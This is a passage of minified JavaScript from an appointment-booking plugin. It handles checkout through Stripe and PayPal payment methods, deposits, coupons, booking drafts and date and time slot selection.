t=this.getElementSelector("payment-request-button"),s=document.querySelector(t);s&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on("ready",(e=>{this.mountedMethod("payment_request_button"),s.classList.remove("mpa-preloader-skeleton-pulsate")}))):(s.classList.add("mpa-hide"),document.querySelector(".mpa-stripe-payment-request-button-separator").classList.add("mpa-hide")))}))})),e.find('input[name="stripe_payment_method"]').on("change",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(".mpa-errors")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case"payment":case"card":case"ideal":case"sepa_debit":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let s=this.paymentMethods.find(e);s.$nav.toggleClass("active",t),s.$fields.toggleClass("mpa-hide",!t)}}getElementSelector(e){return"sepa_debit"===e&&(e="iban"),"#mpa-stripe-"+e+"-element-"+this.uid}render(){let e="";e+='<section class="mpa-stripe-payment-container">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of this.paymentMethods.keys)e+=this.renderFields(t);return e+='<div class="mpa-errors"></div>',e+="</section>",e}renderNavigation(){let e="";e+='<nav class="mpa-stripe-payment-methods">',e+="<ul>";for(let t of this.paymentMethods.keys){let s=t===this.selectedMethod;e+='<li class="mpa-stripe-payment-method '+t+(s?" active":"")+'">',e+="<label>",e+='<input type="radio" name="stripe_payment_method" value="'+t+'"'+(s?' checked="checked"':"")+">",e+=" "+this.methods[t].title,e+="</label>",e+="</li>"}return e+="</ul>",e+="</nav>",e}renderFields(e){let t="";switch(t+='<div class="mpa-stripe-payment-fields '+e+(e===this.selectedMethod?"":" mpa-hide")+'">',t+="<fieldset>",e){case"payment":t+=this.renderPaymentFields();break;case"card":t+=this.renderCardFields();break;case"ideal":t+=this.renderIdealFields();break;case"sepa_debit":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+="</fieldset>","sepa_debit"===e&&(t+='<p class="notice">',t+=u("By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.","motopress-appointment").replace("%s",m().settings().getBusinessName()),t+="</p>"),t+="</div>",t}renderPaymentFields(){let e="";return e+='<div id="mpa-stripe-payment-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-element"></div>',e}renderCardFields(){let e="";return e+='<label for="mpa-stripe-card-element-'+this.uid+'">',e+=u("Credit or debit card","motopress-appointment"),e+="</label>",this.methods.card.isEnabledWallets()&&(e+='<div id="mpa-stripe-payment-request-button-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement"></div>',e+='<div class="mpa-stripe-payment-request-button-separator">'+u("or","motopress-appointment")+"</div>"),e+='<div id="mpa-stripe-card-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate"></div>',e}renderIdealFields(){let e="";return e+='<label for="mpa-stripe-ideal-element-'+this.uid+'">',e+=u("Select iDEAL Bank","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-ideal-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate"></div>',e}renderSepaDebitFields(){let e="";return e+='<label for="mpa-stripe-iban-element-'+this.uid+'">',e+=u("IBAN","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-iban-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate"></div>',e}renderRedirectNotice(){let e="";return e+='<p class="notice">',e+=u("You will be redirected to a secure page to complete the payment.","motopress-appointment"),e+="</p>",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass("mpa-hide")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass("mpa-hide").html("")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class xe extends Ee{load(){return this.loadPromise=h("/payments/settings",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Fe{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,s){if(this.api=e,this.settings=s,this.elements=t,new.target===Fe)throw new Error("Cannot construct Abstract instances directly");if(void 0===this.setupProperties)throw new Error("Must override method: setupProperties()");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('"name" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('"title" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,s){let i={type:this.name,billing_details:{name:e.padEnd(3," "),email:t,phone:s}};return null!==this.control&&(i[this.name]=this.control),i}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error("Abstract Method has no implementation")}processPayment(e,t,s){const i=e.getCustomer(),a=this.createPaymentMethodData(i.name,i.email,i.phone);return this.createPaymentMethod(a).then((t=>{if(t.error)throw new Error(t.error.message);return c("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return"requires_action"==e.status&&"redirect_to_url"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error("Unable to process payment.",e.message),null!=s.error_handler&&s.error_handler(e.message),e}))}}class Be extends Fe{setupProperties(){this.name="payment",this.title=u("Payment methods","motopress-appointment"),this.customerDetails={name:"",email:"",phone:""}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:"",email:"",phone:""}}confirmPayment(e,t){const s=this.getCustomerDetails(),i=this.elements;return new Promise(((e,t)=>{i.submit().then((({error:s})=>{if(s){const e=s.message||"";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var a,r,n;return this.api.confirmPayment({elements:i,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(a=s?.name)&&void 0!==a?a:null,email:null!==(r=s?.email)&&void 0!==r?r:null,phone:null!==(n=s?.phone)&&void 0!==n?n:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:"if_required"})})).catch((e=>{throw console.error("Error during payment confirmation:",e),e}))}processPayment(e,t,s){return c("/payments/prepare",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if("requires_action"===e.status){if("redirect_to_url"!==e.next_action.type)throw new Error("The user has cancelled or failed to complete the payment.");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error("Unable to process payment.",e.message),e;throw new Error("Unable to process payment.")}))}createControl(){const e=this.getCustomerDetails();return this.elements.create("payment",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?"never":"auto",email:e?.email?"never":"auto",phone:e?.phone?"never":"auto",address:{line1:"auto",line2:"auto",city:"auto",state:"auto",country:"auto",postalCode:"auto"}}}})}}class Le extends Fe{setupProperties(){this.name="card",this.title=u("Card","motopress-appointment"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return this.paymentRequest?this.paymentRequest:this.api.paymentRequest({country:this.settings.country,currency:m().settings().getCurrency().toLowerCase(),total:{label:u("Total","motopress-appointment"),amount:0,pending:!0},requestPayerName:!1,requestPayerEmail:!1,requestPayerPhone:!1,requestShipping:!1,disableWallets:this.getDisabledWallets()})}isCanMakePaymentRequest(){return this.canMakePaymentRequest}getPossibleWallets(){return["apple_pay","google_pay","link"]}isEnabledWallets(){let e=!1;return this.getPossibleWallets().forEach((t=>{this.settings.payment_methods.includes(t)&&(e=!0)})),e}getDisabledWallets(){let e=[];return this.getPossibleWallets().forEach((t=>{if(!this.settings.payment_methods.includes(t)){const s=t.toLowerCase().replace(/([-_][a-z])/g,(e=>e.toUpperCase().replace("-","").replace("_","")));e.push(s)}})),e}createPaymentRequestButton(){return this.elements.create("paymentRequestButton",{paymentRequest:this.paymentRequest,style:{paymentRequestButton:{height:"50px"}}})}processPaymentRequestButton(e){this.paymentRequestButtonEvent=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}proccessPaymentRequestButtonHandler(e,t){const s=e.getCustomer();return this.api.createPaymentMethod({type:"card",card:{token:this.paymentRequestButtonEvent.token.id},billing_details:{name:s.name,email:s.email,phone:s.phone}}).then((t=>{if(t.error)throw this.paymentRequestButtonEvent.complete("fail"),new Error(t.error.message);return c("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e})=>this.confirmPayment(e).then((e=>{if(e.error)throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return this.paymentRequestButtonEvent.complete("success"),this.paymentRequestButtonEvent=null,t})).catch((e=>{throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,console.error("Unable to process payment.",e.message),null!=t.error_handler&&t.error_handler(e.message),e}))}confirmPayment(e){return this.api.confirmCardPayment(e)}processPayment(e,t,s){return this.paymentRequestButtonEvent?this.proccessPaymentRequestButtonHandler(e,s):super.processPayment(e,t,s)}createControl(){return this.elements.create(this.name,{style:this.settings.style,hidePostalCode:this.settings.hide_postal_code})}}class Re extends Fe{setupProperties(){this.name="sepa_debit",this.title=u("SEPA Direct Debit","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSepaDebitPayment(e)}createControl(){return this.elements.create("iban",{style:this.settings.style,supportedCountries:["SEPA"]})}}class Oe extends Fe{setupProperties(){this.name="bancontact",this.title=u("Bancontact","motopress-appointment")}confirmPayment(e,t){return this.api.confirmBancontactPayment(e,{return_url:t},{handleActions:!1})}}class Ne extends Fe{setupProperties(){this.name="ideal",this.title=u("iDEAL","motopress-appointment")}confirmPayment(e,t){return this.api.confirmIdealPayment(e,{return_url:t},{handleActions:!1})}createControl(){return this.elements.create("idealBank",{style:this.settings.style})}}class Ve extends Fe{setupProperties(){this.name="giropay",this.title=u("Giropay","motopress-appointment")}confirmPayment(e,t){return this.api.confirmGiropayPayment(e,{return_url:t},{handleActions:!1})}}class qe extends Fe{setupProperties(){this.name="sofort",this.title=u("SOFORT","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSofortPayment(e,{return_url:t},{handleActions:!1})}createPaymentMethodData(e,t,s){let i=super.createPaymentMethodData(e,t,s);return i.sofort={country:this.settings.country},i}}class Ue extends xe{setupProperties(){super.setupProperties(),this.$gatewayPreloader=null,this.gatewayId="stripe",this.methods=null,this.view=null}constructor(e,t){super(e,t),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader")}isValidAcceptTerms(){if(!m().settings().getTermsPageIdForAcceptance())return!0;const e=this.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];return!!e.checkValidity()||(e.reportValidity(),!1)}convertToSmallestUnit(e,t){switch(t||(t=m().settings().getCurrency()),t.toUpperCase()){case"BIF":case"CLP":case"DJF":case"GNF":case"JPY":case"KMF":case"KRW":case"MGA":case"PYG":case"RWF":case"UGX":case"VND":case"VUV":case"XAF":case"XOF":case"XPF":e=Math.floor(e);break;default:e=Math.round(100*e)}return e}getFormattedTotalPrice(){const e=this.cart.getOrder();let t=parseFloat(e.total);return this.cart.paymentDetails.deposit&&(t=parseFloat(e.deposit)),this.convertToSmallestUnit(t,m().settings().getCurrency().toLowerCase())}onClickPaymentRequestButton(e){this.isValidAcceptTerms()?this.methods.card.paymentRequest.update({total:{amount:this.getFormattedTotalPrice(),label:u("Total","motopress-appointment"),pending:!1}}):e.preventDefault()}onChange(e){this.haveErrors=!!e.error,this.haveErrors?this.view.showError(e.error.message):this.view.hideErrors()}onCartChange(e){this.isMounted&&0<this.getFormattedTotalPrice()&&0===Object.keys(this.methods).length&&(this.$mountWrapper.empty(),this.mount(this.$mountWrapper))}mount(e){this.ready().then((()=>{this.methods=[],0<this.getFormattedTotalPrice()&&(this.methods=this.createPaymentMethods()),this.view=new Me(this.methods),this.view.mount(e),this.addListeners()}))}processPayment(e,t){if(!this.isValid())return Promise.reject(new Error("The payment gateway is not valid."));this.$gatewayPreloader.removeClass("mpa-hide");let s=this.view.selectedMethod,i=jQuery.extend({payment_method:s},this.settings,t),a={error_handler:this.view.showError.bind(this.view)};return this.methods[s].processPayment(e,i,a).then((e=>(this.$gatewayPreloader.addClass("mpa-hide"),e)),(e=>{throw this.$gatewayPreloader.addClass("mpa-hide"),e}))}getDefaults(){return jQuery.extend(super.getDefaults(),{hide_postal_code:!0,locale:"auto",payment_methods:[],public_key:"",style:{}})}createPaymentMethods(){let e=[];const t=Stripe(this.settings.public_key,{apiVersion:"2023-10-16"}),s=t.elements({mode:"payment",locale:this.settings.locale,currency:m().settings().getCurrency().toLowerCase(),amount:this.getFormattedTotalPrice(),payment_method_configuration:this.settings.payment_method_configuration});return this.settings.payment_methods.forEach((i=>{switch(i){case"payment":e.payment=new Be(t,s,this.settings),e.payment.provideCart(this.cart);break;case"card":e.card=new Le(t,s,this.settings),e.card.getControl().on("change",this.onChange.bind(this)),e.card.isCanMakePaymentRequest().then((t=>{t&&(e.card.paymentRequest.on("token",(async t=>e.card.processPaymentRequestButton(t))),e.card.paymentRequest.on("cancel",(()=>{e.card.paymentRequestButtonEvent=null})),e.card.paymentRequestButton=e.card.createPaymentRequestButton(),e.card.paymentRequestButton.on("click",this.onClickPaymentRequestButton.bind(this)))}));break;case"sepa_debit":e.sepa_debit=new Re(t,s,this.settings),e.sepa_debit.getControl().on("change",this.onChange.bind(this));break;case"bancontact":e.bancontact=new Oe(t,s,this.settings);break;case"ideal":e.ideal=new Ne(t,s,this.settings);break;case"giropay":e.giropay=new Ve(t,s,this.settings);break;case"sofort":e.sofort=new qe(t,s,this.settings)}})),e}reset(){this.methods&&Object.entries(this.methods).forEach((([e,t])=>{t.reset()})),this.view&&this.view.reset()}}class He extends xe{setupProperties(){super.setupProperties(),this.gatewayId="paypal"}enable(){super.enable(),this.isEnabled&&this.cart.getTotalPrice()>0&&this.$mountWrapper.closest("form").find(".mpa-button-next").hide()}disable(){super.disable(),this.isEnabled||this.$mountWrapper.closest("form").find(".mpa-button-next").show()}mount(e){let t=this;t.$errorWrapper=e.find(".mpa-paypal-error"),t.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader"),paypal.Buttons({onInit(e,s){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||s.disable(),e.addEventListener("change",(e=>{e.target.checked?s.enable():s.disable()}))}},onClick:function(e,s){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||e.reportValidity()}0===t.cart.getTotalPrice()&&(t.paypalDetails={},jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click"))},createOrder:function(e,s){return t.$errorWrapper.addClass("mpa-hide"),t.$gatewayPreloader.removeClass("mpa-hide"),c("/payments/prepare",{payment_details:t.cart.paymentDetails}).then((e=>(t.$gatewayPreloader.addClass("mpa-hide"),e)))},onApprove:function(e,s){return s.order.capture().then((function(e){t.paypalDetails=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}))},onCancel:function(e){},onError:function(e){console.log(e),t.$errorWrapper.text(t.settings.paypal_error_message),t.$errorWrapper.removeClass("mpa-hide")}}).render(e.find(".mpa-paypal-container")[0])}processPayment(e,t){return Promise.resolve({paypalDetails:this.paypalDetails})}}class je{static createGateways(e,t){let s={};for(let i of m().settings().getActiveGateways()){let a=e.find(".mpa-"+i+"-payment-gateway .mpa-billing-fields"),r=0!==a.length?je.createGateway(i,a,t):null;null!==r&&(s[i]=r)}return s.free=new Ae({},t),s}static createGateway(e,t,s){switch(e){case"manual":case"test":case"cash":case"bank":return new Ee(t,s);case"paypal":return new He(t,s);case"stripe":return new Ue(t,s);default:return wp.hooks.applyFilters("mpa_create_gateway",null,e,t,s)}}}class We extends pe{setupProperties(){super.setupProperties(),this.lastCartHash="",this.gatewayId="",this.gateways={},this.bookingDetails={},this.$form=this.$element.find(".mpa-checkout-form"),this.$order=this.$element.find(".mpa-order"),this.$billingSection=this.$element.find(".mpa-billing-details"),this.$paymentGateways=this.$billingSection.find(".mpa-payment-gateway"),this.$paymentGatewayButtons=this.$paymentGateways.find('input[name="payment_gateway_id"]'),this.$message=this.$element.find(".mpa-message").first(),this.acceptTerms=!1,this.onlinePayment=!1,this.isDepositDisabled=!1,this.$deposit=this.$element.find(".mpa-deposit-section"),this.$depositSwitcher=this.$element.find('input[name="mpa-deposit-switcher"]'),this.$depositTable=this.$element.find("#mpa-deposit-table"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.couponSection=null}theId(){return"payment"}propertiesSchema(){return{gatewayId:{type:"string",default:""},isDepositDisabled:{type:"bool",default:!1},acceptTerms:{type:"bool",default:!1}}}setErrorMessage(e){this.$message.html(e),this.$message.toggleClass("mpa-hide",!e.trim().length)}clearErrorMessage(){this.setErrorMessage("")}hideDeposit(){this.$deposit.addClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!0),this.isDepositDisabled=!0}showDeposit(){this.$deposit.removeClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!1),this.setProperty("isDepositDisabled",this.$depositSwitcher.prop("checked"))}toggleDepositSection(){const e=this.cart.getOrder();parseFloat(e.total)-parseFloat(e.deposit)&&this.onlinePayment?this.showDeposit():this.hideDeposit()}setGatewayId(e,t){this.setProperty("gatewayId",e),this.onlinePayment=parseInt(t),this.toggleDepositSection(),this.cart.setPaymentDetails({gateway_id:this.gatewayId,deposit:!this.isDepositDisabled})}addListeners(){super.addListeners(),this.$form.on("submit",(e=>!1)),this.$paymentGatewayButtons.on("change",(e=>{this.setGatewayId(e.target.value,e.target.dataset.isOnlinePayment)})),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),this.$depositSwitcher.length>0&&this.$depositSwitcher.on("input",(e=>{this.$depositTable.toggleClass("mpa-hide",e.target.checked),this.setProperty("isDepositDisabled",e.target.checked),this.cart.setPaymentDetails({deposit:!this.isDepositDisabled})})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>{this.notifyCartChanged(),this.updateOrderDetails(),this.cart.setPaymentDetails({coupon_code:this.cart.hasCoupon()?this.cart.coupon.getCode():""})}))}loadEntities(){this.isLoaded||this.$element.removeClass("mpa-hide"),this.lastCartHash=this.cart.getHash("order"),m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(".mpa-coupon-details"),this.cart)),this.updateOrderDetails();let e=[];return"free"!==this.gatewayId?e.push(this.loadGateways()):this.loadGateways(),e.push(this.loadDrafts()),Promise.all(e).then((()=>(this.initDefaultGateway(),this)))}reload(){return this.clearErrorMessage(),this.cart.hasCoupon()&&this.cart.testCoupon(),this.couponSection&&(this.cart.hasCoupon()?this.couponSection.clearMessage():this.couponSection.reset()),this.updateOrderDetails(),this.cart.didChange(this.lastCartHash,"order")?(this.lastCartHash=this.cart.getHash("order"),this.notifyCartChanged(),this.loadDrafts()):wp.hooks.applyFilters("mpa_booking_reload_drafts",!1)?this.loadDrafts():Promise.resolve(this)}reset(){m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),this.lastCartHash="";let e=m().settings().getDefaultPaymentGateway();this.$paymentGatewayButtons.filter(":checked").prop("checked",!1),e in this.gateways?(this.setProperty("gatewayId",e),this.$paymentGatewayButtons.filter('[value="'+e+'"]').prop("checked",!0)):this.resetProperty("gatewayId");for(let e in this.gateways)this.gateways[e].reset();this.couponSection&&this.couponSection.reset()}notifyCartChanged(){for(let e in this.gateways)this.gateways[e].onCartChange(this.cart)}updateOrderDetails(){if(this.$order.empty(),this.$order.html(be(this.cart.getOrder())),this.$depositTable.length>0){const e=function(e){const t=parseFloat(e.total)-parseFloat(e.deposit);let s="";return t>0&&(s+='<table class="widefat">',s+="<tbody>",s+='<tr class="mpa-deposit-title">',s+='<td class="column-title" colspan="2">',s+=u("Deposit","motopress-appointment"),s+="</td>",s+="</tr>",s+='<tr class="mpa-deposit-now">',s+='<th class="column-title">',s+=u("Paying now","motopress-appointment"),s+="</th>",s+='<th class="column-price">',s+=Se(e.deposit),s+="</th>",s+="</tr>",s+='<tr class="mpa-deposit-left">',s+='<th class="column-title">',s+=u("Left to pay","motopress-appointment"),s+="</th>",s+='<th class="column-price">',s+=Se(t),s+="</th>",s+="</tr>",s+="</tbody>",s+="</table>"),s}(this.cart.getOrder());this.$depositTable.html(e),this.$paymentGatewayButtons.filter(":checked").length>0&&this.toggleDepositSection()}let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this)),this.toggleAvailablePaymentMethods()}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.cart.setPaymentDetails({coupon_code:""}),this.notifyCartChanged(),this.updateOrderDetails(),this.couponSection.reset()}toggleAvailablePaymentMethods(){const e=0===this.cart.getTotalPrice();if(e)this.setGatewayId("free",!1);else{const e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.setGatewayId(e[0].value,e[0].dataset.isOnlinePayment)}this.$billingSection.toggleClass("mpa-hide",e),this.$paymentGatewayButtons.prop("required",!e)}loadGateways(){let e=this.$billingSection.find(".mpa-payment-gateways");this.gateways=je.createGateways(e,this.cart);let t=[];for(let e in this.gateways)t.push(this.gateways[e].load());return t}loadDrafts(){const e={...this.cart.toArray(),payment:!0};return c("/bookings/draft",{...wp.hooks.applyFilters("mpa_booking_draft_data",e),nonce:mpaData.nonces.mpa_create_drafts}).then((e=>{this.bookingDetails={booking_id:e.booking_id,payment_id:e.payment_id};const t={booking_id:e.booking_id,payment_id:e.payment_id};this.cart.setPaymentDetails(t),this.cart.setBookingNonce(e.booking_nonce)}),(e=>{this.setErrorMessage(e.message)})).then((()=>(this.enableGateways(),this)))}enableGateways(){this.$paymentGatewayButtons.prop("disabled",!1)}initDefaultGateway(){let e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.gateways[e.val()].enable()}isValidInput(){return this.isValidGatewayId()&&this.isValidGateway()&&this.isValidAcceptTerms()}isValidGatewayId(){return""!==this.gatewayId}isValidGateway(){return!(this.gatewayId in this.gateways)||this.gateways[this.gatewayId].isValid()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||this.acceptTerms}afterUpdate(e,t,s){s in this.gateways&&this.gateways[s].disable(),t in this.gateways&&this.gateways[t].enable()}react(){super.react(),this.$buttonNext.prop("disabled",!1)}maybeSubmit(){if(this.couponSection&&this.couponSection.disable(),this.gatewayId in this.gateways){let e=this.gateways[this.gatewayId].processPayment(this.cart,this.bookingDetails);return"object"==typeof e&&"function"==typeof e.then&&e.then((e=>(this.cart.setPaymentDetails(e),e)),(e=>{this.setErrorMessage(e.message)})),e}}cancelSubmission(){super.cancelSubmission(),this.couponSection&&this.couponSection.enable()}}class Ge extends pe{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash="",this.monthSlots={},this.date="",this.time="",this.datepicker=null,this.$dateWrapper=this.$element.find(".mpa-date-wrapper"),this.$dateInput=this.$element.find(".mpa-date"),this.$timeWrapper=this.$element.find(".mpa-time-wrapper"),this.$times=this.$timeWrapper.find(".mpa-times"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return"period"}getCartContext(){return"cart item"}propertiesSchema(){return{date:{type:"string",default:""},time:{type:"string",default:""}}}addListeners(){super.addListeners(),this.$dateInput.on("change",(e=>this.setProperty("date",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash("availability"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,"availability")?(this.$element.removeClass("mpa-loaded"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash="",this.monthSlots={},this.resetDate()}isValidInput(){return""!=this.date&&""!=this.time}resetDate(){this.resetProperty("date")}resetTime(){this.$times.empty(),this.resetProperty("time")}setEnabledDays(e){F(e,!0)?this.datepicker.set("enable",["2000-01-01"]):this.datepicker.set("enable",e)}afterUpdate(e,t,s){"date"==e&&(""==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass("mpa-hide",""==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=function(e,t){let s=t.locale||m().settings().getFlatpickrLocale(),i=flatpickr.l10ns[s]||s;"object"==typeof i&&(i.firstDayOfWeek=m().settings().getFirstDayOfWeek());let a={formatDate:f,inline:!0,locale:i,monthSelectorType:"static",showMonths:1};t=jQuery.extend({},a,t);let r=null;return r=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),r}(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:m().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=b(this.date),e.time=new Y(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),s=t[0],i=t[1];null===e.employee&&e.setEmployee(s,!1),null===e.location&&e.setLocation(i,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent("mpa_add_to_cart",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent("mpa_view_cart",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t);const i=this.monthSlots[s];if(i&&Object.keys(i).length>0){const e=Object.keys(i)[0],t=Object.keys(i[e])[0];this.datepicker.setDate(e,!0);this.$times.children(".mpa-time-period").filter(((e,s)=>s.getAttribute("date-time")===t)).trigger("click"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let s=this.monthSlots[t][this.date];for(let t in s)if(t===this.time){let i=s[t];e[0]=i[0][0],e[1]=i[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass("mpa-loaded");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t),i=null;if(this.monthSlots[s])i=Promise.resolve(this.monthSlots[s]);else{i=function(e,t,s,i){return h("/calendar/time",{service_id:e,employee_in:i.employee_in?i.employee_in.join(","):"",location_in:i.location_in?i.location_in.join(","):"",date_from:f(t,"internal"),date_to:f(s,"internal"),exclude_cart:i.exclude_cart?i.exclude_cart:[]}).catch((e=>console.error("Failed to make time slots in mpa_time_slots().",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([i,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[s]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass("mpa-loaded"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray("items")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let s=0;for(let t in e){let i=new 